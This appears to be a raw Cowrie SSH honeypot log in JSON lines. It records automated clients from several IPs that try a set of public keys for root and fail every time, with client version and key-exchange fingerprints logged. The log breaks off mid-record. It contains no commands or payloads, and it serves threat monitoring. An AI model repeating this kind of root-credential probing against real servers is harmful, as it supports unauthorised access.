{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqolY9rKeaBRXu0rp5wTsuSNwvNuqBOpWXiN/ytayFqomLeMtsPderM4acjvEfIWDeU9cN1iU1gIvkU8wE6o7ovV59H7KKn0kpzpdM9M9vBuu4omRJ44FUnyvfSyF4pT3xtpyJX6hssDdbbl2Z4eIGoxMHjHT7KHk25A11/CLK9xdlavCIOMKp3kPXfMd4JfrQjFD88hZRClAA+sHm1LWgyoa93W3nULVczsOugH88WGab9GtF1IZnB+NdSz+uMFiB3TavDj6Mn2FqmOLLDKCBJwIwLuBtLV+MzaSzzadhERUYFglGCOGblKy8Y7Q7OMVTvSCJTwLMCokvWKjTXNHB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.461257Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2y17r7LCTV1NV8cXbXhXsptZdOeErz3/ReRZwuJpSLHsGwjQu/1ayJrGlh6lQ0atbvorO6s4U+q5BWCucz0ybeWeBzucbBUVclAC5XL465TFpL8JjnAJhIVsBaBIPxJ1bsBS3OoWOmto90JZ2WbdOYFPkDyfkvb2sxKweOrYVsP9Rtngk9lZC01HDDlYGcEEXNl7lkV9XrPSCf3CQaeaEgIUpsiOaTRnaJvpJQT/aWGNBRofGcPBf6rpw91tyxqYMEikgIOBRvhO2GysZoS6T5kC2i4OWI40B9NrOx8cn5Vng8iYmTZl6bCTTrpHN11Fa2agdF01XSZwfleYa+uIaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.530916Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2y17r7LCTV1NV8cXbXhXsptZdOeErz3/ReRZwuJpSLHsGwjQu/1ayJrGlh6lQ0atbvorO6s4U+q5BWCucz0ybeWeBzucbBUVclAC5XL465TFpL8JjnAJhIVsBaBIPxJ1bsBS3OoWOmto90JZ2WbdOYFPkDyfkvb2sxKweOrYVsP9Rtngk9lZC01HDDlYGcEEXNl7lkV9XrPSCf3CQaeaEgIUpsiOaTRnaJvpJQT/aWGNBRofGcPBf6rpw91tyxqYMEikgIOBRvhO2GysZoS6T5kC2i4OWI40B9NrOx8cn5Vng8iYmTZl6bCTTrpHN11Fa2agdF01XSZwfleYa+uIaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.535341Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzkycP2cb2GCabZd/FCQ3qIFSx2q6H/lJzJBFj0KCtoGxPYRKSHTSkjS4aEsaU7sFom8iTAVNN7j6r5PtJH24eEo+5msgZC502NgOeT6lf3Q0VUR42rbqKFD/ML0KLVvYlcfYhm696UXCLg+WTZZYQYLBpNLWBTp5IChWPSvyS1Dej27PdMfjm8Y6a3CZyEz/hCKjX4gd4VRmuQMumFW1pNpXEDuyCziwNcAwOY67uj0yezNevmvBVoYXIzXIs87u1+YiF/lKd9pB67aQ1f478HUv1yHIK9H3o0EOkfxL7EdYT0Qy8HlLFXijCSciI7IWL0Y263ETfRPYVhAEcGe2pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.605249Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzkycP2cb2GCabZd/FCQ3qIFSx2q6H/lJzJBFj0KCtoGxPYRKSHTSkjS4aEsaU7sFom8iTAVNN7j6r5PtJH24eEo+5msgZC502NgOeT6lf3Q0VUR42rbqKFD/ML0KLVvYlcfYhm696UXCLg+WTZZYQYLBpNLWBTp5IChWPSvyS1Dej27PdMfjm8Y6a3CZyEz/hCKjX4gd4VRmuQMumFW1pNpXEDuyCziwNcAwOY67uj0yezNevmvBVoYXIzXIs87u1+YiF/lKd9pB67aQ1f478HUv1yHIK9H3o0EOkfxL7EdYT0Qy8HlLFXijCSciI7IWL0Y263ETfRPYVhAEcGe2pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.608452Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwPXs3eAn9HLXed+B3CgmJw1bCpKjN85scobZsm4aSdDrd7dyfQflil+5cwIFXHQ0rS5c7HQqK1KUxAPsxNOyX6Vft9UnPpBBWp4uLMirLS/ez0XkROy3KPl+d3jaH8E92YnuYZ50pYQ0CHwTHfn5NZrWBD5JbIjmHCG7OJ8H0UEvWEWVCbDyEWzah0lLgaJpoGJGqKzrmR1CZVLHJ5aKyQhkAtBKscSDQBqMefrU6PqDsxyiq4f6luO25ssw1ErPRFn27iaMUMuJIZbnS9ouzv8pyXXZY/JobTmE85i3+/AqQL1O6lk/ZcQWWiv3j8jsVhZSNSnFFLegixzYO+COiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.686732Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwPXs3eAn9HLXed+B3CgmJw1bCpKjN85scobZsm4aSdDrd7dyfQflil+5cwIFXHQ0rS5c7HQqK1KUxAPsxNOyX6Vft9UnPpBBWp4uLMirLS/ez0XkROy3KPl+d3jaH8E92YnuYZ50pYQ0CHwTHfn5NZrWBD5JbIjmHCG7OJ8H0UEvWEWVCbDyEWzah0lLgaJpoGJGqKzrmR1CZVLHJ5aKyQhkAtBKscSDQBqMefrU6PqDsxyiq4f6luO25ssw1ErPRFn27iaMUMuJIZbnS9ouzv8pyXXZY/JobTmE85i3+/AqQL1O6lk/ZcQWWiv3j8jsVhZSNSnFFLegixzYO+COiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.690723Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0S8ZhvUMXje6WYQuf4fPu9ObMykGyIB5Fg5cdhCscU/o8Ym35xn3gYWpoX6V6DCqIOFvTBC3UEMYphNTbvLBghK5ETfsNr6dzQxVnRxS37DuZVR1qZnzGt7gap/fkE3X/MLNqFWRGb1LK/vo1aJ4VCoNew1LY5Vi5+f43JY8Elmbq5BgXwyatzQUd8I4gjaYu1+pvgXvN5mQcOvdSq6RLfD+Z57K+Ad6LkspNQWjc/4Pn/LDU/Lwoe2sb5ZSKoF2vqW97S6VcyxYbAny8AV/VNs1ZQGUp9TAFIMYINSJlhm/DUl530QOKcF2D1FN4ppfY1gkutRFoblYKMB61nLi/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.761395Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0S8ZhvUMXje6WYQuf4fPu9ObMykGyIB5Fg5cdhCscU/o8Ym35xn3gYWpoX6V6DCqIOFvTBC3UEMYphNTbvLBghK5ETfsNr6dzQxVnRxS37DuZVR1qZnzGt7gap/fkE3X/MLNqFWRGb1LK/vo1aJ4VCoNew1LY5Vi5+f43JY8Elmbq5BgXwyatzQUd8I4gjaYu1+pvgXvN5mQcOvdSq6RLfD+Z57K+Ad6LkspNQWjc/4Pn/LDU/Lwoe2sb5ZSKoF2vqW97S6VcyxYbAny8AV/VNs1ZQGUp9TAFIMYINSJlhm/DUl530QOKcF2D1FN4ppfY1gkutRFoblYKMB61nLi/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.765126Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.835910Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.208.191","src_port":50860,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a39692c069","protocol":"ssh","message":"New connection: 213.202.208.191:50860 (10.17.0.5:22) [session: 57a39692c069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:12.545110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:12.556583Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:12.654442Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqolY9rKeaBRXu0rp5wTsuSNwvNuqBOpWXiN/ytayFqomLeMtsPderM4acjvEfIWDeU9cN1iU1gIvkU8wE6o7ovV59H7KKn0kpzpdM9M9vBuu4omRJ44FUnyvfSyF4pT3xtpyJX6hssDdbbl2Z4eIGoxMHjHT7KHk25A11/CLK9xdlavCIOMKp3kPXfMd4JfrQjFD88hZRClAA+sHm1LWgyoa93W3nULVczsOugH88WGab9GtF1IZnB+NdSz+uMFiB3TavDj6Mn2FqmOLLDKCBJwIwLuBtLV+MzaSzzadhERUYFglGCOGblKy8Y7Q7OMVTvSCJTwLMCokvWKjTXNHB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.146407Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqolY9rKeaBRXu0rp5wTsuSNwvNuqBOpWXiN/ytayFqomLeMtsPderM4acjvEfIWDeU9cN1iU1gIvkU8wE6o7ovV59H7KKn0kpzpdM9M9vBuu4omRJ44FUnyvfSyF4pT3xtpyJX6hssDdbbl2Z4eIGoxMHjHT7KHk25A11/CLK9xdlavCIOMKp3kPXfMd4JfrQjFD88hZRClAA+sHm1LWgyoa93W3nULVczsOugH88WGab9GtF1IZnB+NdSz+uMFiB3TavDj6Mn2FqmOLLDKCBJwIwLuBtLV+MzaSzzadhERUYFglGCOGblKy8Y7Q7OMVTvSCJTwLMCokvWKjTXNHB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.150163Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2y17r7LCTV1NV8cXbXhXsptZdOeErz3/ReRZwuJpSLHsGwjQu/1ayJrGlh6lQ0atbvorO6s4U+q5BWCucz0ybeWeBzucbBUVclAC5XL465TFpL8JjnAJhIVsBaBIPxJ1bsBS3OoWOmto90JZ2WbdOYFPkDyfkvb2sxKweOrYVsP9Rtngk9lZC01HDDlYGcEEXNl7lkV9XrPSCf3CQaeaEgIUpsiOaTRnaJvpJQT/aWGNBRofGcPBf6rpw91tyxqYMEikgIOBRvhO2GysZoS6T5kC2i4OWI40B9NrOx8cn5Vng8iYmTZl6bCTTrpHN11Fa2agdF01XSZwfleYa+uIaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.252626Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:de:b4:bd:f0:9e:bc:8d:10:1d:f7:95:0f:85:29:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2y17r7LCTV1NV8cXbXhXsptZdOeErz3/ReRZwuJpSLHsGwjQu/1ayJrGlh6lQ0atbvorO6s4U+q5BWCucz0ybeWeBzucbBUVclAC5XL465TFpL8JjnAJhIVsBaBIPxJ1bsBS3OoWOmto90JZ2WbdOYFPkDyfkvb2sxKweOrYVsP9Rtngk9lZC01HDDlYGcEEXNl7lkV9XrPSCf3CQaeaEgIUpsiOaTRnaJvpJQT/aWGNBRofGcPBf6rpw91tyxqYMEikgIOBRvhO2GysZoS6T5kC2i4OWI40B9NrOx8cn5Vng8iYmTZl6bCTTrpHN11Fa2agdF01XSZwfleYa+uIaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.255664Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzkycP2cb2GCabZd/FCQ3qIFSx2q6H/lJzJBFj0KCtoGxPYRKSHTSkjS4aEsaU7sFom8iTAVNN7j6r5PtJH24eEo+5msgZC502NgOeT6lf3Q0VUR42rbqKFD/ML0KLVvYlcfYhm696UXCLg+WTZZYQYLBpNLWBTp5IChWPSvyS1Dej27PdMfjm8Y6a3CZyEz/hCKjX4gd4VRmuQMumFW1pNpXEDuyCziwNcAwOY67uj0yezNevmvBVoYXIzXIs87u1+YiF/lKd9pB67aQ1f478HUv1yHIK9H3o0EOkfxL7EdYT0Qy8HlLFXijCSciI7IWL0Y263ETfRPYVhAEcGe2pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.360718Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:fb:c3:13:ac:20:b3:22:1e:df:3f:f8:77:e8:5b:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzkycP2cb2GCabZd/FCQ3qIFSx2q6H/lJzJBFj0KCtoGxPYRKSHTSkjS4aEsaU7sFom8iTAVNN7j6r5PtJH24eEo+5msgZC502NgOeT6lf3Q0VUR42rbqKFD/ML0KLVvYlcfYhm696UXCLg+WTZZYQYLBpNLWBTp5IChWPSvyS1Dej27PdMfjm8Y6a3CZyEz/hCKjX4gd4VRmuQMumFW1pNpXEDuyCziwNcAwOY67uj0yezNevmvBVoYXIzXIs87u1+YiF/lKd9pB67aQ1f478HUv1yHIK9H3o0EOkfxL7EdYT0Qy8HlLFXijCSciI7IWL0Y263ETfRPYVhAEcGe2pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.363418Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwPXs3eAn9HLXed+B3CgmJw1bCpKjN85scobZsm4aSdDrd7dyfQflil+5cwIFXHQ0rS5c7HQqK1KUxAPsxNOyX6Vft9UnPpBBWp4uLMirLS/ez0XkROy3KPl+d3jaH8E92YnuYZ50pYQ0CHwTHfn5NZrWBD5JbIjmHCG7OJ8H0UEvWEWVCbDyEWzah0lLgaJpoGJGqKzrmR1CZVLHJ5aKyQhkAtBKscSDQBqMefrU6PqDsxyiq4f6luO25ssw1ErPRFn27iaMUMuJIZbnS9ouzv8pyXXZY/JobTmE85i3+/AqQL1O6lk/ZcQWWiv3j8jsVhZSNSnFFLegixzYO+COiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.511276Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:94:6d:f1:84:c8:2a:2d:2e:f7:36:c0:4c:94:c5:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwPXs3eAn9HLXed+B3CgmJw1bCpKjN85scobZsm4aSdDrd7dyfQflil+5cwIFXHQ0rS5c7HQqK1KUxAPsxNOyX6Vft9UnPpBBWp4uLMirLS/ez0XkROy3KPl+d3jaH8E92YnuYZ50pYQ0CHwTHfn5NZrWBD5JbIjmHCG7OJ8H0UEvWEWVCbDyEWzah0lLgaJpoGJGqKzrmR1CZVLHJ5aKyQhkAtBKscSDQBqMefrU6PqDsxyiq4f6luO25ssw1ErPRFn27iaMUMuJIZbnS9ouzv8pyXXZY/JobTmE85i3+/AqQL1O6lk/ZcQWWiv3j8jsVhZSNSnFFLegixzYO+COiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.515070Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0S8ZhvUMXje6WYQuf4fPu9ObMykGyIB5Fg5cdhCscU/o8Ym35xn3gYWpoX6V6DCqIOFvTBC3UEMYphNTbvLBghK5ETfsNr6dzQxVnRxS37DuZVR1qZnzGt7gap/fkE3X/MLNqFWRGb1LK/vo1aJ4VCoNew1LY5Vi5+f43JY8Elmbq5BgXwyatzQUd8I4gjaYu1+pvgXvN5mQcOvdSq6RLfD+Z57K+Ad6LkspNQWjc/4Pn/LDU/Lwoe2sb5ZSKoF2vqW97S6VcyxYbAny8AV/VNs1ZQGUp9TAFIMYINSJlhm/DUl530QOKcF2D1FN4ppfY1gkutRFoblYKMB61nLi/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.626788Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:0d:e8:e3:bd:12:85:e7:e6:af:d6:3a:bc:08:7f:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0S8ZhvUMXje6WYQuf4fPu9ObMykGyIB5Fg5cdhCscU/o8Ym35xn3gYWpoX6V6DCqIOFvTBC3UEMYphNTbvLBghK5ETfsNr6dzQxVnRxS37DuZVR1qZnzGt7gap/fkE3X/MLNqFWRGb1LK/vo1aJ4VCoNew1LY5Vi5+f43JY8Elmbq5BgXwyatzQUd8I4gjaYu1+pvgXvN5mQcOvdSq6RLfD+Z57K+Ad6LkspNQWjc/4Pn/LDU/Lwoe2sb5ZSKoF2vqW97S6VcyxYbAny8AV/VNs1ZQGUp9TAFIMYINSJlhm/DUl530QOKcF2D1FN4ppfY1gkutRFoblYKMB61nLi/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.630371Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:13.728400Z","src_ip":"213.202.208.191","session":"57a39692c069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.119.194","src_port":32746,"dst_ip":"10.17.0.5","dst_port":22,"session":"798dc88d8abb","protocol":"ssh","message":"New connection: 23.239.119.194:32746 (10.17.0.5:22) [session: 798dc88d8abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.534541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:36:38.539337Z","src_ip":"23.239.119.194","session":"798dc88d8abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac